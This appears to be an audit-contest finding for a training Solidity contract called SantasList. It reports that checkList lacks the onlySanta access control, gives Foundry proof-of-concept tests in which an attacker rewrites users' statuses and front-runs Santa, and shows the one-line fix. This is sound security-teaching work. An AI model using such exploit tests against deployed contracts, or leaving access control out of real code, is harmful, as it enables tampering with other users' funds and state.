Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Severity: high
Valid

checkList::SantaList.sol Lacks Acces Control.

Root + Impact

The checkList function in the SantaList.sol contract does not have access control, meaning anyone can add themselves as NICE or EXTRA_NICE in the s_theListCheckedOnce mapping, and also change users status to any desired status invalidating any status set by Santa.

Description:

The checkList function is supposed to be only callable by Santa but can be called by anyone, because it lacks access control. The contract has an onlySanta() modifier but it wasn't used on the checkList function.

function checkList(address person, Status status) external { //<@ notice that the onlySanta modifier or any other access control is not added to the function.
s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}

Risk

Anyone can call the checkList function and add themselves as NICE or EXTRA_NICE and also change users status to any desired status in the s_theListCheckedOnce mapping.

Likelihood:

The likelihood is high because the checkList function is external and open to anybody.

  • Reason
    This is because the checkList function has no restriction or access control , and this can happen anytime, it does not need any special condition because anyone can call the checkList function as many times and whenever they would like.

Impact:

Attackers can call the checkList function and add themselves or any address as NICE or EXTRA_NICE or change users status to any desired status in s_theListCheckedOnce mapping, modifying the it which is not intended.

Proof of Concept:

Notice that the attacker calls the checkList function thrice;

  1. Adds themselves as NICE .

  2. Adds user2 as EXTA_NICE .

  3. Changes user3's status from NICE to NAUGHTY on the s_theListCheckedOnce .

function test_Anyone_Can_Call_checkList_Function_And_Modify_s_theListCheckedOnce_Mapping() public {
//Create new addresses for the attacker, user2, and user3.
address attacker = makeAddr("attacker");
address user2 = makeAddr("user2");
address user3 = makeAddr("user3");
//Enter Santa.
vm.prank(santa);
//Santa adds user3 to the s_theListCheckedOnce mapping with a status of NICE.
santasList.checkList(user3, SantasList.Status.NICE);
//Confirm user3 is on the s_theListCheckedOnce mapping with a status of NICE.
assertEq(uint256(santasList.getNaughtyOrNiceOnce(user3)), uint256(SantasList.Status.NICE));
console.log("user3 is on the s_theListCheckedOnce mapping with a status of NICE");
//Enter attacker
vm.prank(attacker);
//Attacker tries to add themselves to the s_theListCheckedOnce mapping with a status of NICE.
santasList.checkList(attacker, SantasList.Status.NICE);
//Confirm attacker is on the s_theListCheckedOnce mapping with a status of NICE.
assertEq(uint256(santasList.getNaughtyOrNiceOnce(attacker)), uint256(SantasList.Status.NICE));
console.log("attacker is on the s_theListCheckedOnce mapping with a status of NICE");
//Attacker tries to change user3's status to naughty.
santasList.checkList(user3, SantasList.Status.NAUGHTY);
//Confirm user3's status is now naughty.
assertEq(uint256(santasList.getNaughtyOrNiceOnce(user3)), uint256(SantasList.Status.NAUGHTY));
console.log("attacker changed user3's status on the s_theListCheckedOnce mapping to NAUGHTY from NICE.");
//Attacker tries to add user2 to the s_theListCheckedOnce mapping with a status of EXTRA_NICE.
santasList.checkList(user2, SantasList.Status.EXTRA_NICE);
//Confirm user2 is on the s_theListCheckedOnce mapping with a status of EXTRA_NICE.
assertEq(uint256(santasList.getNaughtyOrNiceOnce(user2)), uint256(SantasList.Status.EXTRA_NICE));
console.log("user2 is on the s_theListCheckedOnce mapping with a status of EXTRA_NICE");
//Sanity check to confirm that the test ran to completion.
console.log("Exploit test ran to completion. The attacker was able to modify the s_theListCheckedOnce mapping, which should not be allowed since only Santa should be able to modify it.");
}

Recommended Mitigation

Add the onlySanta modifier to the checkList function to prevent anyone but Santa from calling the function and adding themselves as NICE or EXTRA_NICE or changing innocent users status on the s_theListCheckedOnce mapping.

**vulnerable code

function checkList(address person, Status status) external {
s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}

**fixed code

function checkList(address person, Status status) external onlySanta {
s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}
onlySanta
+ add this code
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Anyone is able to call `checkList` function in SantasList contract and prevent any address from becoming `NICE` or `EXTRA_NICE` and collect present.

## Description With the current design of the protocol, anyone is able to call `checkList` function in SantasList contract, while documentation says only Santa should be able to call it. This can be considered as an access control vulnerability, because not only santa is allowed to make the first check. ## Vulnerability Details An attacker could simply call the external `checkList` function, passing as parameter the address of someone else and the enum Status `NAUGHTY`(or `NOT_CHECKED_TWICE`, which should actually be `UNKNOWN` given documentation). By doing that, Santa will not be able to execute `checkTwice` function correctly for `NICE` and `EXTRA_NICE` people. Indeed, if Santa first checked a user and assigned the status `NICE` or `EXTRA_NICE`, anyone is able to call `checkList` function again, and by doing so modify the status. This could result in Santa unable to execute the second check. Moreover, any malicious actor could check the mempool and front run Santa just before calling `checkTwice` function to check users. This would result in a major denial of service issue. ## Impact The impact of this vulnerability is HIGH as it results in a broken mechanism of the check list system. Any user could be declared `NAUGHTY` for the first check at any time, preventing present collecting by users although Santa considered the user as `NICE` or `EXTRA_NICE`. Santa could still call `checkList` function again to reassigned the status to `NICE` or `EXTRA_NICE` before calling `checkTwice` function, but any malicious actor could front run the call to `checkTwice` function. In this scenario, it would be impossible for Santa to actually double check a `NICE` or `EXTRA_NICE` user. ## Proof of Concept Just copy paste this test in SantasListTest contract : ``` function testDosAttack() external { vm.startPrank(makeAddr("attacker")); // any user can checList any address and assigned status to naughty // an attacker could front run Santa before the second check santasList.checkList(makeAddr("user"), SantasList.Status.NAUGHTY); vm.stopPrank(); vm.startPrank(santa); vm.expectRevert(); // Santa is unable to check twice the user santasList.checkTwice(makeAddr("user"), SantasList.Status.NICE); vm.stopPrank(); } ``` ## Recommendations I suggest to add the `onlySanta` modifier to `checkList` function. This will ensure the first check can only be done by Santa, and prevent DOS attack on the contract. With this modifier, specification will be respected : "In this contract Only Santa to take the following actions: - checkList: A function that changes an address to a new Status of NICE, EXTRA_NICE, NAUGHTY, or UNKNOWN on the original s_theListCheckedOnce list." The following code will resolve this access control issue, simply by adding `onlySanta` modifier: ``` function checkList(address person, Status status) external onlySanta { s_theListCheckedOnce[person] = status; emit CheckedOnce(person, status); } ``` No malicious actor is now able to front run Santa before `checkTwice` function call. The following tests shows that doing the first check for another user is impossible after adding `onlySanta` modifier: ``` function testDosResolved() external { vm.startPrank(makeAddr("attacker")); // checklist function call will revert if a user tries to execute the first check for another user vm.expectRevert(SantasList.SantasList__NotSanta.selector); santasList.checkList(makeAddr("user"), SantasList.Status.NAUGHTY); vm.stopPrank(); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!